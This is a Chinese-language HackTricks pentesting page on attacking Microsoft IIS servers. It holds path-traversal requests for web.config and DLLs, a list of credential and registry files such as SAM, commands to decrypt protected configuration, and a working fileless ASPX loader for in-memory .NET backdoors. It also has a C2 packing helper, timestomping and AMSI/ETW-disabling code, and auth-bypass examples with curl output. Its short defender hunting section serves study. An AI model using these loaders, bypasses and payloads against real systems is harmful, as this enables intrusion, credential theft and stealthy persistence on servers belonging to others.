IIS - Internet Information Services

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

测试可执行文件扩展名:

  • asp
  • aspx
  • config
  • php

内部 IP 地址泄露

在任何返回 302 的 IIS 服务器上,你可以尝试去掉 Host header 并使用 HTTP/1.0,在响应中 Location header 可能会指向内部 IP 地址:

nc -v domain.com 80
openssl s_client -connect domain.com:443

响应披露内部 IP:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

执行 .config 文件

你可以上传 .config 文件并利用它们执行代码。一种方法是在文件末尾的 HTML 注释中追加代码:Download example here

有关利用此漏洞的更多信息和技术请参见 here

IIS Discovery Bruteforce

下载我创建的列表:

它是通过合并以下列表的内容创建的:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

使用时不要添加任何扩展名,需要扩展名的文件已经包含了它。

Path Traversal

Leaking source code

完整说明请参见: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

Tip

总结来说,应用的各个文件夹中存在多个 web.config 文件,它们引用了 “assemblyIdentity” 文件和 “namespaces”。通过这些信息可以知道 可执行文件的位置 并下载它们。
从已下载的 Dlls 中也可以发现更多 namespaces,你可以在这些 namespaces 下尝试访问并获取 web.config 文件,以便继续发现新的 namespaces 和 assemblyIdentity。
此外,文件 connectionstrings.configglobal.asax 可能包含有价值的信息。

.Net MVC applications 中,web.config 文件扮演关键角色,通过 “assemblyIdentity” XML 标签指定应用所依赖的每个二进制文件。

探索二进制文件

下面示例展示了访问 web.config 文件的一个例子:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

该请求暴露了各种设置和依赖项,例如:

  • EntityFramework 版本
  • AppSettings(用于网页、客户端验证和 JavaScript)
  • System.web 的身份验证和运行时配置
  • System.webServer 模块设置
  • Runtime 的程序集绑定,针对大量库,例如 Microsoft.OwinNewtonsoft.JsonSystem.Web.Mvc

这些设置表明某些文件(例如 /bin/WebGrease.dll)位于应用程序的 /bin 文件夹中。

根目录文件

根目录中发现的文件,例如 /global.asax/connectionstrings.config(包含敏感密码),对应用程序的配置和运行至关重要。

命名空间和 Web.Config

MVC 应用程序还会为特定命名空间定义额外的 web.config files,以避免在每个文件中重复声明,正如请求下载另一个 web.config 所示:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

下载 DLLs

提到的自定义命名空间暗示在 /bin 目录中存在名为 “WebApplication1” 的 DLL。随后显示了一个下载 WebApplication1.dll 的请求:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

这表明 /bin 目录中存在其他必要的 DLL,例如 System.Web.Mvc.dllSystem.Web.Optimization.dll

如果某个 DLL 导入名为 WebApplication1.Areas.Minded 的命名空间,攻击者可能会推断在一些可预测路径(例如 /area-name/Views/)中存在其他 web.config 文件,这些文件包含特定的配置并引用 /bin 文件夹中的其他 DLL。例如,向 /Minded/Views/web.config 发出请求可能会显示配置和命名空间,从而指示另一个 DLL WebApplication1.AdditionalFeatures.dll 的存在。

常见文件

来自 here

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 错误

If you see an error like the following one:

这意味着服务器在 Host header 中没有收到正确的域名
要访问该网页,你可以查看服务器返回的SSL Certificate,也许能在其中找到域名/子域名。如果没有,你可能需要brute force VHosts直到找到正确的一个。

解密被加密的配置和 ASP.NET Core Data Protection 密钥环

在 IIS 托管的 .NET 应用中,有两种常见的保护秘密的模式:

  • ASP.NET Protected Configuration (RsaProtectedConfigurationProvider),用于保护 web.config 中像 这样的部分。
  • ASP.NET Core Data Protection key ring(本地持久化)用于保护应用的 secrets 和 cookies。

如果你在 Web 服务器上拥有文件系统访问或交互式访问,共置的密钥通常允许进行解密。

  • ASP.NET (Full Framework) – 使用 aspnet_regiis 解密受保护的配置部分:
# Decrypt a section by app path (site configured in IIS)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pd "connectionStrings" -app "/MyApplication"

# Or specify the physical path (-pef/-pdf write/read to a config file under a dir)
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe -pdf "connectionStrings" "C:\inetpub\wwwroot\MyApplication"
  • ASP.NET Core – look for Data Protection key rings stored locally (XML/JSON files) under locations like:
  • %PROGRAMDATA%\Microsoft\ASP.NET\DataProtection-Keys
  • HKLM\SOFTWARE\Microsoft\ASP.NET\Core\DataProtection-Keys (registry)
  • App-managed folder (e.g., App_Data\keys or a Keys directory next to the app)

With the key ring available, an operator running in the app’s identity can instantiate an IDataProtector with the same purposes and unprotect stored secrets. Misconfigurations that store the key ring with the app files make offline decryption trivial once the host is compromised.

IIS 无文件后门与内存中 .NET loaders(NET-STAR 风格)

The Phantom Taurus/NET-STAR toolkit shows a mature pattern for fileless IIS persistence and post‑exploitation entirely inside w3wp.exe. The core ideas are broadly reusable for custom tradecraft and for detection/hunting.

Key building blocks

  • ASPX bootstrapper hosting an embedded payload: a single .aspx page (e.g., OutlookEN.aspx) carries a Base64‑encoded, optionally Gzip‑compressed .NET DLL. Upon a trigger request it decodes, decompresses and reflectively loads it into the current AppDomain and invokes the main entry point (e.g., ServerRun.Run()).
  • Cookie‑scoped, encrypted C2 with multi‑stage packing: tasks/results are wrapped with Gzip → AES‑ECB/PKCS7 → Base64 and moved via seemingly legitimate cookie‑heavy requests; operators used stable delimiters (e.g., “STAR”) for chunking.
  • Reflective .NET execution: accept arbitrary managed assemblies as Base64, load via Assembly.Load(byte[]) and pass operator args for rapid module swaps without touching disk.
  • Operating in precompiled ASP.NET sites: add/manage auxiliary shells/backdoors even when the site is precompiled (e.g., dropper adds dynamic pages/handlers or leverages config handlers) – exposed by commands such as bypassPrecompiledApp, addshell, listshell, removeshell.
  • Timestomping/metadata forgery: expose a changeLastModified action and timestomp on deployment (including future compilation timestamps) to hinder DFIR.
  • Optional AMSI/ETW pre‑disable for loaders: a second‑stage loader can disable AMSI and ETW before calling Assembly.Load to reduce inspection of in‑memory payloads.

Minimal ASPX loader pattern

<%@ Page Language="C#" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
// 1) Obtain payload bytes (hard‑coded blob or from request)
string b64 = /* hardcoded or Request["d"] */;
byte[] blob = Convert.FromBase64String(b64);
// optional: decrypt here if AES is used
using(var gz = new GZipStream(new MemoryStream(blob), CompressionMode.Decompress)){
using(var ms = new MemoryStream()){
gz.CopyTo(ms);
var asm = Assembly.Load(ms.ToArray());
// 2) Invoke the managed entry point (e.g., ServerRun.Run)
var t = asm.GetType("ServerRun");
var m = t.GetMethod("Run", BindingFlags.Public|BindingFlags.NonPublic|BindingFlags.Static|BindingFlags.Instance);
object inst = m.IsStatic ? null : Activator.CreateInstance(t);
m.Invoke(inst, new object[]{ HttpContext.Current });
}
}
}
</script>

打包/加密 辅助工具 (Gzip + AES‑ECB + Base64)

using System.Security.Cryptography;

static byte[] AesEcb(byte[] data, byte[] key, bool encrypt){
using(var aes = Aes.Create()){
aes.Mode = CipherMode.ECB; aes.Padding = PaddingMode.PKCS7; aes.Key = key;
ICryptoTransform t = encrypt ? aes.CreateEncryptor() : aes.CreateDecryptor();
return t.TransformFinalBlock(data, 0, data.Length);
}
}

static string Pack(object obj, byte[] key){
// serialize → gzip → AES‑ECB → Base64
byte[] raw = Serialize(obj);                    // your TLV/JSON/msgpack
using var ms = new MemoryStream();
using(var gz = new GZipStream(ms, CompressionLevel.Optimal, true)) gz.Write(raw, 0, raw.Length);
byte[] enc = AesEcb(ms.ToArray(), key, true);
return Convert.ToBase64String(enc);
}

static T Unpack<T>(string b64, byte[] key){
byte[] enc = Convert.FromBase64String(b64);
byte[] cmp = AesEcb(enc, key, false);
using var gz = new GZipStream(new MemoryStream(cmp), CompressionMode.Decompress);
using var outMs = new MemoryStream(); gz.CopyTo(outMs);
return Deserialize<T>(outMs.ToArray());
}

Cookie/session 流程与命令表面

  • Session bootstrap and tasking 通过 cookies 进行,以混入正常的 web 活动。
  • 在实战中观察到的命令包括:fileExist, listDir, createDir, renameDir, fileRead, deleteFile, createFile, changeLastModified; addshell, bypassPrecompiledApp, listShell, removeShell; executeSQLQuery, ExecuteNonQuery; and dynamic execution primitives code_self, code_pid, run_code for in‑memory .NET execution.

Timestomping utility

File.SetCreationTime(path, ts);
File.SetLastWriteTime(path, ts);
File.SetLastAccessTime(path, ts);

在 Assembly.Load 之前内联禁用 AMSI/ETW (loader variant)

// Patch amsi!AmsiScanBuffer to return E_INVALIDARG
// and ntdll!EtwEventWrite to a stub; then load operator assembly
DisableAmsi();
DisableEtw();
Assembly.Load(payloadBytes).EntryPoint.Invoke(null, new object[]{ new string[]{ /* args */ } });

参见 AMSI/ETW bypass techniques 在: windows-hardening/av-bypass.md

Hunting notes (defenders)

  • 单一、异常的 ASPX 页面,包含非常长的 Base64/Gzip blobs;大量 cookie 的 POST 请求。
  • w3wp.exe 内未注册的 managed modules;字符串如 Encrypt/Decrypt (ECB)、Compress/Decompress、GetContext、Run。
  • 流量中出现重复分隔符(例如 “STAR”);ASPX/assemblies 上的不匹配或甚至是未来时间戳。

Telerik UI WebResource.axd unsafe reflection (CVE-2025-3600)

许多 ASP.NET 应用嵌入了 Telerik UI for ASP.NET AJAX,并暴露了未认证的处理程序 Telerik.Web.UI.WebResource.axd。当 Image Editor cache 端点可达(type=iec)时,参数 dkey=1 和 prtype 会启用 unsafe reflection,从而在未认证的情况下执行任何公共的无参数构造函数。该问题提供了一个通用的 DoS 原语,并且在具有不安全的 AppDomain.AssemblyResolve 处理程序的应用上可升级为未认证的 RCE。

See detailed techniques and PoCs here:

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character “~” Vulnerability/Feature – Short File/Folder Name Disclosure

你可以尝试使用这个 technique 在每个发现的文件夹内部枚举(enumerate folders and files)文件和文件夹(即使它要求 Basic Authentication)。
如果服务器易受此漏洞影响,这种技术的主要限制是它最多只能找到每个文件/文件夹名称的前 6 个字母以及文件扩展名的前 3 个字母

你可以使用 https://github.com/irsdl/IIS-ShortName-Scanner 来测试该漏洞:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

原始研究: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

你也可以使用 metasploituse scanner/http/iis_shortname_scanner

一个不错的想法是像脚本中那样向 LLMs 请求候选项来找出最终名称,参见 https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py

Basic Authentication bypass

尝试访问以下路径可以Bypass 基本认证(IIS 7.5):/admin:$i30:$INDEX_ALLOCATION/admin.php/admin::$INDEX_ALLOCATION/admin.php

你可以尝试将此 vulnerability 与上一个漏洞混合使用,以发现新的 foldersbypass 认证。

ASP.NET Trace.AXD enabled debugging

ASP.NET 包含一个调试模式,其文件名为 trace.axd

它会在一段时间内保留对应用所发起的所有请求的非常详细的日志。

这些信息包括远程客户端 IP、session ID、所有请求和响应的 cookies、物理路径、源代码信息,甚至可能包含用户名和密码。

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH 使用以下信息:

  • validationKey (string): 用于签名验证的十六进制编码密钥。
  • decryptionMethod (string):(默认 “AES”)。
  • decryptionIV (string): 十六进制编码的初始化向量(默认值为全零向量)。
  • decryptionKey (string): 用于解密的十六进制编码密钥。

但是,有些人会使用这些参数的 默认值,并将用户的 email 作为 cookie。因此,如果你能找到另一个使用相同平台并使用 ASPXAUTH cookie 的网站,并且你在被攻击的服务器上用你想冒充的用户的 email 创建一个用户,你可能能够通过使用来自第二个服务器的 cookie 在第一个服务器中进行认证并冒充该用户
该攻击在这篇 writeup 中有效。

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here:代码中的一个错误没有正确验证用户提供的密码,因此当攻击者的**password hash 命中缓存中已存在的键(key)**时,攻击者将能够以该用户的身份登录。

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks